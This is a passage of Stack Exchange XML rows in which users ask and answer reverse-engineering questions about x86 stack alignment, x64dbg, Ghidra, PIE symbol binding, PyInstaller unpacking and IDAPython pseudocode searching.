  <row Id="21414" PostTypeId="1" AcceptedAnswerId="21417" CreationDate="2019-06-03T20:51:02.140" Score="3" ViewCount="447" Body="&lt;p&gt;I reverse an ELF x86, and I would like to understand why the return address is pushed again on the stack? It should be already present there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main:&#xA;lea    ecx, [esp+0x4 {argc}]&#xA;and    esp, 0xfffffff0&#xA;push   dword [ecx-0x4 {__return_addr}] {var_4}&#xA;push   ebp, {var_8}&#xA;mov    ebp, esp&#xA;push   edi {var_c}&#xA;push   ecx {argc} {var_10}&#xA;sub    esp, 0xb0&#xA;mov    eax, dword [ecx+0x4 {argv}]&#xA;mov    dword [ebp-0x9c {var_a4}], eax&#xA;mov    eax, dword [gs:0x14]&#xA;mov    dword [ebp-0xc {var_14}], eax&#xA;xor    eax, eax {0x0}&#xA;cmp    dword [ecx {argc}], 0x2&#xA;je     0x80485ae&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28528" LastEditorUserId="60" LastEditDate="2019-06-04T15:14:34.593" LastActivityDate="2019-06-04T15:14:34.593" Title="ELF x86 - Why is return address pushed twice?" Tags="|disassembly|x86|elf|stack|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21417" PostTypeId="2" ParentId="21414" CreationDate="2019-06-04T12:22:08.300" Score="8" Body="&lt;p&gt;It &lt;strong&gt;was&lt;/strong&gt; present on the stack before &lt;code&gt;and esp, 0xfffffff0&lt;/code&gt; instruction that aligns the stack to 16 bytes. This instruction doesn't erase the data that was previously at &lt;code&gt;esp&lt;/code&gt; (so &lt;code&gt;ecx-4&lt;/code&gt; still points to the return address), but stack pointer points now to possibly different value than at the begining of the function. So there is a need to push the return value (&lt;code&gt;[ecx-4]&lt;/code&gt;) on the stack so that &lt;code&gt;esp&lt;/code&gt; points to the return address instead of some garbage data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, assume that previous &lt;code&gt;esp&lt;/code&gt; value was &lt;code&gt;0x11111118&lt;/code&gt;. Then the function return address is located at &lt;code&gt;esp&lt;/code&gt; (i.e. equals &lt;code&gt;[esp]&lt;/code&gt;). But after the &lt;code&gt;and&lt;/code&gt; operation, &lt;code&gt;esp&lt;/code&gt; now equals &lt;code&gt;0x11111110&lt;/code&gt;, so the function return address is at &lt;code&gt;esp+8&lt;/code&gt; address, which is not on the stack (actually &lt;strong&gt;below&lt;/strong&gt; it) and &lt;code&gt;esp&lt;/code&gt; now points to some other data, which definitely isn't the function return address. But we know that &lt;code&gt;ecx-4&lt;/code&gt; points to that address (since &lt;code&gt;ecx&lt;/code&gt; = &lt;code&gt;0x11111118+4&lt;/code&gt;=&lt;code&gt;0x1111111C&lt;/code&gt;), so we push &lt;code&gt;[ecx-4]&lt;/code&gt; on the stack, so that &lt;code&gt;esp&lt;/code&gt; now points to it.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-06-04T12:31:46.540" LastActivityDate="2019-06-04T12:31:46.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21418" PostTypeId="1" AcceptedAnswerId="21420" CreationDate="2019-06-04T19:41:36.803" Score="0" ViewCount="896" Body="&lt;p&gt;I have an encrypted file that I was able to step through the code until that specific DLL file was decrypted in memory and I was able to list all of its strings. It has a ton of them that I would like to export all of them to a text file or even a CSV file if possible but I can't find any way to do so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing a command or a button somewhere or is this something I would need to try and write a script to accomplish?&lt;/p&gt;&#xA;" OwnerUserId="28622" LastActivityDate="2019-06-05T07:17:02.923" Title="Is there a way to export all the strings for a certain module in x64dbg?" Tags="|x64dbg|strings|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21419" PostTypeId="1" CreationDate="2019-06-04T19:57:03.910" Score="0" ViewCount="330" Body="&lt;p&gt;I'm looking for a tool that can extract detect and extract any image format from word documents in both .doc and .docx formats for an automatic document classification use case. It is nice to just detect the presence of images, but it infinitely more valuable to automatically carve the images out of the file through detecting the magic bytes and carving based on the file header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something like oletools, but that toolkit doesn't support gathering images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there aren't any tools or libraries that satisfy my use case, then any libraries or tools that could support my own development of such a tool would be appreciated. Even research papers or articles on the theory behind such a tool, or even the doc/docx file format would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer python based tools, but I'll take what I can get. To be clear, I want a command line based tool, or a tool that can be added to a program or a script.&lt;/p&gt;&#xA;" OwnerUserId="28032" LastActivityDate="2019-06-05T07:08:34.433" Title="Automatically detecting and carving images from .doc, .docx and spreadsheets" Tags="|tools|file-format|static-analysis|automation|magic-number|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21420" PostTypeId="2" ParentId="21418" CreationDate="2019-06-05T06:56:01.273" Score="0" Body="&lt;p&gt;You may try &lt;code&gt;right click&lt;/code&gt;-&amp;gt;&lt;code&gt;Copy&lt;/code&gt;-&amp;gt;&lt;code&gt;Full Table&lt;/code&gt; to copy it to clipboard.&lt;/p&gt;&#xA;&lt;p&gt;&lt;s&gt;If you want to copy only strings without &lt;code&gt;Disassembly&lt;/code&gt; and &lt;code&gt;Address&lt;/code&gt; columns, right click at the upper bar of this window (where you see &lt;code&gt;Strings&lt;/code&gt;, &lt;code&gt;Disassembly&lt;/code&gt; and &lt;code&gt;Address&lt;/code&gt;), select columns to hide and click the &lt;code&gt;Hide&lt;/code&gt; button as illustrated below.&lt;/s&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eyc7C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eyc7C.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Edit: this will copy the entire table too, so if you want to have only strings saved in a file, you need to delete the two remaining columns.&lt;/p&gt;&#xA;&lt;p&gt;You may for instance use &lt;code&gt;Notepad++&lt;/code&gt; for this purpose: navigate to the last line, select everything in this line, except the string, press &lt;code&gt;Alt&lt;/code&gt;+&lt;code&gt;Shift&lt;/code&gt;+&lt;code&gt;PageUp&lt;/code&gt; and keep it pressed until you reach the top of file and while you are there, press &lt;code&gt;Delete&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If your file is so big that the above way to delete these columns is impractcical, you may use regular expressions instead.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-06-05T07:17:02.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21421" PostTypeId="2" ParentId="21419" CreationDate="2019-06-05T07:08:34.433" Score="1" Body="&lt;p&gt;If I understand you correctly then for what you want to achieve you dont need any tools as word files are just archives. You can use your favourite unzip program and then you can find images in \word\media folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont know python but should be simple to unzip files and search for image files.&lt;/p&gt;&#xA;" OwnerUserId="25138" LastActivityDate="2019-06-05T07:08:34.433" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21422" PostTypeId="2" ParentId="19070" CreationDate="2019-06-05T12:46:25.013" Score="0" Body="&lt;p&gt;The only way you can find the references to the resources is by looking through XREF's to FindResource function and checking which resource ID is used there. Or by looking for 301 value in the database via the binary search and then look through the all found instances to find the one which is used as argument for FindResource.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-06-05T12:46:25.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21423" PostTypeId="2" ParentId="21195" CreationDate="2019-06-05T16:38:34.947" Score="4" Body="&lt;p&gt;You may achieve that by choosing: &lt;code&gt;Edit&lt;/code&gt;-&gt;&lt;code&gt;Tool Options&lt;/code&gt;-&gt;&lt;code&gt;Listing Fields&lt;/code&gt;-&gt;&lt;code&gt;Format Code&lt;/code&gt; and selecting &lt;code&gt;Flag Function Exits&lt;/code&gt; field.&#xA;An example how it works is given below:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/C0i7Y.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C0i7Y.jpg&quot; alt=&quot;ghidraFunctionExit&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-06-05T16:38:34.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21427" PostTypeId="2" ParentId="2926" CreationDate="2019-06-06T01:18:15.547" Score="-1" Body="&lt;p&gt;Use the memory disks of the two phones and a computer. Shut down the (two) phone(s) that  Connect one microSD to a Sabrent USB device directly in the microSD port. Connect the other SD card to an SD-microSD adapter and connect the adapter to the Sabrent device. Connect the Sabrent device to a USB port on the computer. Browse on the SD drive you seen a button for it appear on File Explorer or File Manager. Copy the SecurID file to the drive you seen a button for it appear on File Explorer or File Manager when you connected to the port of RECIEVING/TARGET phone microSD card on the SecurID folder. When done, connect the microSD cards back to the phones (Step with ID 29018925). And when the Step with ID 29018925 is done, the process is done.&lt;/p&gt;&#xA;" OwnerUserId="28632" LastActivityDate="2019-06-06T01:18:15.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21430" PostTypeId="1" AcceptedAnswerId="21443" CreationDate="2019-06-06T08:53:55.607" Score="3" ViewCount="392" Body="&lt;p&gt;&lt;strong&gt;Observations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the Linux executable is compiled as PIE (Position Independent Executable, default on Ubuntu 18.04), the symbols from shared libraries (e.g. libc) will be resolved when the program starts executing, setting LD_BIND_NOW environment variable to null will not defer this process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the executable is compiled with the &lt;code&gt;-no-pie&lt;/code&gt; flag, the symbol resolution can be controlled by LD_BIND_NOW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to control when the symbols from share libraries to be resolved on a ELF PIE executable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the test code and system info,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ubuntu: 18.04&#xA;kernel: Linux 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux&#xA;gcc: gcc (Ubuntu 7.4.0-1ubuntu1~18.04) 7.4.0&#xA;&#xA;&#xA;$ gcc -o helloworld helloworld.c&#xA;&#xA;$ file helloworld&#xA;helloworld: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=70143fcc329797b2d0af84143ce0125775ab330f, not stripped&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int main() {&#xA;    printf(&quot;Hello world!\n&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28035" LastEditorUserId="28035" LastEditDate="2019-06-06T09:02:24.673" LastActivityDate="2019-06-09T11:45:10.790" Title="LD_BIND_NOW doesn’t seem to take effect on ELF PIE executable?" Tags="|elf|pie|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21431" PostTypeId="1" CreationDate="2019-06-06T11:08:26.837" Score="0" ViewCount="2683" Body="&lt;p&gt;I have extracted compiled files from exe (executable in windows) using &#xA;&lt;strong&gt;PyInstaller Extractor&lt;/strong&gt; script. &lt;br&gt; &lt;br&gt;&#xA;In Resultant folder, i have got was pyc files bundled in pyz folder. &#xA;Then I decompiled files (using &lt;strong&gt;uncompyle6&lt;/strong&gt;) from pyc to py. &#xA;Then updated code in py files and recompiled back to pyc files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;My question is how can i convert these pyz bundled folder back to 'exe' so that it can be executed in windows?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried pyinstaller, but could not find any .spec file or entry py file to begin this process. &#xA;what are the steps to achieve this required result.&lt;/p&gt;&#xA;" OwnerUserId="28635" LastActivityDate="2021-03-07T03:07:40.767" Title="How to generate exe from compiled Python files?" Tags="|pe|python|crackme|windows-10|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21432" PostTypeId="2" ParentId="21232" CreationDate="2019-06-06T17:13:20.057" Score="1" Body="&lt;p&gt;From Ghidra help:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By default, the variables data type will be UndefinedN where N is the size (in bytes) of the stack reference.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;undefined&lt;/code&gt; stands for &lt;code&gt;undefined1&lt;/code&gt; and it's a type of size &lt;code&gt;1&lt;/code&gt;(byte) in &lt;code&gt;Ghidra&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If some variable is of this type, it basically means that decompiler didn't infer any &quot;better&quot; type for this variable (which could be &lt;code&gt;bool&lt;/code&gt; or &lt;code&gt;char&lt;/code&gt; for example), but it knows that it occupies &lt;code&gt;1&lt;/code&gt; byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your second question, &lt;code&gt;~&lt;/code&gt; is a &lt;code&gt;bitwise NOT&lt;/code&gt; operation, just like in &lt;code&gt;C&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note1:&lt;/strong&gt; If you are unsure what a particular operator means, just select it in decompiler view and it will show you the corresponding disassembly instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note2:&lt;/strong&gt; The code you are analysing may be easier to read when you disable printing of type casts (&lt;code&gt;Edit&lt;/code&gt;-&gt;&lt;code&gt;Tool options...&lt;/code&gt;-&gt;&lt;code&gt;Decompiler&lt;/code&gt;-&gt;&lt;code&gt;Display&lt;/code&gt;-&gt;&lt;code&gt;Disable printing of type casts&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note3:&lt;/strong&gt; Another option to consider is &lt;code&gt;Use inplace assignment operations&lt;/code&gt; (under &lt;code&gt;Decompiler&lt;/code&gt;-&gt;&lt;code&gt;Analysis&lt;/code&gt; in options) to have &lt;code&gt;uVar2 += 1&lt;/code&gt; instead of &lt;code&gt;uVar2 = uVar2 + 1&lt;/code&gt; for example.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-06-06T17:13:20.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21433" PostTypeId="2" ParentId="18025" CreationDate="2019-06-06T18:10:44.727" Score="3" Body="&lt;p&gt;You can use the command &lt;code&gt;dr 1&lt;/code&gt; to see every flag's value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KOw4v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KOw4v.png&quot; alt=&quot;dr 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2019-06-06T18:10:44.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21434" PostTypeId="1" CreationDate="2019-06-06T20:41:16.473" Score="0" ViewCount="1267" Body="&lt;p&gt;How can I search pesudo code  string in all functions in binary with Ida??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pesudo code I mean when press &lt;code&gt;F5&lt;/code&gt; in Ida I can see psedo code of the binary (like in c)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to search for example where there is &lt;code&gt;while&lt;/code&gt; string or &lt;code&gt;break&lt;/code&gt; string in psudo code&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="23993" LastEditDate="2019-06-07T13:06:48.633" LastActivityDate="2019-06-07T19:33:20.913" Title="Search string in all binary pesudo-code" Tags="|ida|decompilation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21435" PostTypeId="2" ParentId="16528" CreationDate="2019-06-07T08:17:00.903" Score="0" Body="&lt;p&gt;According to their &lt;a href=&quot;https://www.marx.com/documents/information_material/crypto-box/english/SmarxOS_Compendium_en_2018-03-27.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;developer documentation&lt;/a&gt;, it could be one of the following dll files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mpiwin32.dll&#xA;CBIOSVB6.DLL&#xA;WebLM.dll&#xA;CBIOS4NET.dll&#xA;CBIOS4NET64.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's always a good idea to go to the dongle's manufacturer website and see if they have document for developers describing their API.&lt;/p&gt;&#xA;" OwnerUserId="11890" LastActivityDate="2019-06-07T08:17:00.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21436" PostTypeId="1" CreationDate="2019-06-07T12:29:33.677" Score="0" ViewCount="2136" Body="&lt;p&gt;I am trying to disassemble a firmware binary which I am interested in. Yet I don't have much experience in this field, which is why I would like some input from you guys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current state is that I was able to obtain the *.bin file of the firmware and analyze it using binwalk. The standard analysis did not find anything, but trying the --opcodes option revealed some further information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the opcodes it seems to contain a mix of different instruction sets using ARM, Ubicom32 and ARMEB instructions. Therefore, there is probably no file system to recover, but if I understand it right I may be able to disassemble the binary using something like objdump?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;-----------------------------------------------------------------------&#xA;1406157       0x1574CD        ARM instructions, function prologue&#xA;12575041      0xBFE141        ARM instructions, function prologue&#xA;14942348      0xE4008C        ARM instructions, function prologue&#xA;16502970      0xFBD0BA        Ubicom32 instructions, function epilogue&#xA;28109096      0x1ACE928       ARM instructions, function prologue&#xA;29833956      0x1C73AE4       ARMEB instructions, function prologue&#xA;39390093      0x2590B8D       ARMEB instructions, function prologue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28645" LastActivityDate="2019-06-07T12:29:33.677" Title="Disassembling ARM binary" Tags="|disassembly|arm|firmware-analysis|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21437" PostTypeId="2" ParentId="21061" CreationDate="2019-06-07T16:09:30.757" Score="2" Body="&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; My original answer was formulated without an access to the file you wanted to modify, so here comes another one, based on the file you have uploaded.&lt;/p&gt;&#xA;&lt;p&gt;In the case you want to modify data in the program, it's essential to get grasp on how (and where) it is accessed. In your case, there are three section involved:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;.data&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.data.rel.ro&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.rodata&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;&lt;code&gt;.data&lt;/code&gt;&lt;/h1&gt;&#xA;&lt;p&gt;All strings in the file are referenced via the &lt;code&gt;.data&lt;/code&gt; section, which contains an array with pointers to entries in &lt;code&gt;.data.rel.ro&lt;/code&gt;, where the actual pointers to strings in &lt;code&gt;.rodata&lt;/code&gt; are stored. After analysis in &lt;code&gt;radare2&lt;/code&gt;, &lt;code&gt;.data&lt;/code&gt; looks like:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sLLGA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sLLGA.jpg&quot; alt=&quot;sectionData&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hence it's just the array of pairs containing &lt;strong&gt;pointer&lt;/strong&gt; and &lt;strong&gt;index&lt;/strong&gt; of each string item. This is the only section from before mentioned three, that you don't need to change.&lt;/p&gt;&#xA;&lt;h1&gt;&lt;code&gt;.rodata&lt;/code&gt;&lt;/h1&gt;&#xA;&lt;p&gt;It contains all strings used in the file both in English and Chinese versions.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GwQ7I.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GwQ7I.jpg&quot; alt=&quot;sectionRodata&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the section I recommend to change first - replace all Chinese string with their German counterparts. You may do it in a way described in my previous answer, that is replacing the entire section with a content of previously created file.&lt;/p&gt;&#xA;&lt;h1&gt;&lt;code&gt;.data.rel.ro&lt;/code&gt;&lt;/h1&gt;&#xA;&lt;p&gt;It is the last section you want to modify. It contains pointers to the strings that were in the &lt;code&gt;.rodata&lt;/code&gt; section before you modified them.&lt;a href=&quot;https://i.stack.imgur.com/EXd9B.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EXd9B.jpg&quot; alt=&quot;sectionDataRelRo&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, now you need to fix all of the pointers contained here to point on the strings in the new &lt;code&gt;.rodata&lt;/code&gt; section you have just created. Notice that each entry here is just a pointer (i.e. contains &lt;code&gt;4&lt;/code&gt; bytes, so it has fixed length), so you may just patch it right away, without need to replace this section using &lt;code&gt;objcopy&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;After doing these steps, you should have all strings translated.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-06-07T16:09:30.757" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21438" PostTypeId="2" ParentId="21434" CreationDate="2019-06-07T19:33:20.913" Score="3" Body="&lt;p&gt;In version 6.x of Ida (tweaks will likely need to be made for more recent versions), you would want walk each &lt;code&gt;Segment&lt;/code&gt;, then you can enumerate each &lt;code&gt;Function&lt;/code&gt;, and from there, run the hexrays decompiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will enumerate all the functions, dump the pseudo code, and then search for the string 'foobar':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys, idc, idautils, idaapi&#xA;&#xA;# Writes out the C function pseudo code, with the starting effective address&#xA;# returns: string&#xA;def DumpPseudoCode(ea):&#xA;    if not idaapi.init_hexrays_plugin():&#xA;        return &quot;&quot;&#xA;&#xA;    f = idaapi.get_func(ea)&#xA;    if f is None:&#xA;        return &quot;&quot;&#xA;&#xA;    try:&#xA;        cfunc = idaapi.decompile(f);&#xA;        if cfunc is None:&#xA;            # Failed to decompile&#xA;            return &quot;&quot;&#xA;    except:&#xA;        return &quot;&quot;&#xA;&#xA;    lines = []&#xA;    sv = cfunc.get_pseudocode();&#xA;    for sline in sv:&#xA;        line = idaapi.tag_remove(sline.line);&#xA;        lines.append(line)&#xA;    return &quot;\r\n&quot;.join(lines)&#xA;&#xA;# enumerate all the functions and search for a string in the generated pseudo code&#xA;for segea in Segments():&#xA;    for funcea in Functions(segea, SegEnd(segea)):&#xA;        ccode = DumpPseudoCode(funcea)&#xA;        if ('foobar' in ccode)&#xA;            # do something&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2019-06-07T19:33:20.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21440" PostTypeId="2" ParentId="21163" CreationDate="2019-06-08T14:58:06.983" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how to find the index or address of printf in the PLT so i can resolve its name when i see a &quot;Call address&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When a function is present in &lt;code&gt;PLT&lt;/code&gt; (Procedure Linkage Table) section, that means its address isn't known at compilation time and has to be resolved by dynamic linker at the runtime. However, just to know that a certain function is called at some point in the program you may use a tool like &lt;a href=&quot;https://en.wikipedia.org/wiki/Objdump&quot; rel=&quot;nofollow noreferrer&quot;&gt;objdump&lt;/a&gt;, which will show you the function name followed by &lt;code&gt;@plt&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call   720 &amp;lt;printf@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;why doesn't the symbol table contain the virtual address of these functions unlike functions inside the code? considering these are static libraries and are statically linked in that program, shouldn't they have a fixed address just like other functions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because they &lt;strong&gt;are not&lt;/strong&gt; statically linked (see first sentence of the answer for the first question). They don't have fixed addresses, since these will be resolved during the runtime.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;so why is it going into PLT instead of .text section and having a static address? i thought when i include a library in the beginning it basically copy and pastes it into my .text section?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It would be the waste of space if every executable contained copy of the same library. The &lt;code&gt;.h&lt;/code&gt; files are included and they often contain &lt;strong&gt;just the declarations&lt;/strong&gt;. So you don't include compiled definitions of functions declared in &lt;code&gt;.h&lt;/code&gt; - just the prototypes. The &lt;strong&gt;linker&lt;/strong&gt; is responsible for linking the program with the libraries used in it. They still may be linked either statically or dynamically and since dynamic linking avoids copying entire libraries' code into every single executable, it's often used instead of static one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/questions/7096152/c-difference-between-linking-library-and-adding-include-directories&quot;&gt;this question&lt;/a&gt; for further reference.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-06-08T15:13:36.637" LastActivityDate="2019-06-08T15:13:36.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21442" PostTypeId="1" CreationDate="2019-06-09T10:24:12.113" Score="0" ViewCount="363" Body="&lt;p&gt;When I'm stepping through a debuggee process with IDA+WinDbg (as a debugger), I need to track one parameter by executing the following API (from within the breakpoint):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//C++ code&#xA;SCROLLINFO s;&#xA;s.cbSize = sizeof(s);    //0x1C&#xA;s.fMask = SIF_POS | SIF_TRACKPOS;   //0x4 | 0x10&#xA;GetScrollInfo(hWnd, SB_VERT, &amp;amp;s);    //SB_VERT = 1&#xA;printf(&quot;pos=%d, track=%d&quot;, s.nPos, s.nTrackPos);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I came up with the following Python script to do this from a breakpoint in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ctypes&#xA;from ctypes import wintypes&#xA;hwnd = 0x00020208&#xA;user32 = ctypes.WinDLL('user32', use_last_error=True)&#xA;class SCROLLINFO(ctypes.Structure):&#xA;    _fields_ = ((&quot;cbSize&quot;, wintypes.DWORD),&#xA;                (&quot;fMask&quot;, wintypes.DWORD),&#xA;                (&quot;nMin&quot;, wintypes.LONG),&#xA;                (&quot;nMax&quot;, wintypes.LONG),&#xA;                (&quot;nPage&quot;, wintypes.DWORD),&#xA;                (&quot;nPos&quot;, wintypes.LONG),&#xA;                (&quot;nTrackPos&quot;, wintypes.LONG))&#xA;s = SCROLLINFO(cbSize=0x1C,&#xA;        fMask=0x14,&#xA;        nPos=-1,&#xA;        nTrackPos=-1)&#xA;user32.GetScrollInfo(hwnd, 1, ctypes.byref(s))&#xA;print s.nPos, s.nTrackPos&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which I thought seemed to work and gave me some values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lJrw0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lJrw0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then when I got to the actual code in the process that was doing the same:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jzBlJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jzBlJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result it received for &lt;code&gt;s.nTrackPos&lt;/code&gt; was 1 instead of 8 that is reported by my Python script. Here's the memory dump for the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winuser/ns-winuser-tagscrollinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;SCROLLINFO&lt;/a&gt; struct:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pLN9u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pLN9u.png&quot; alt=&quot;enter image description 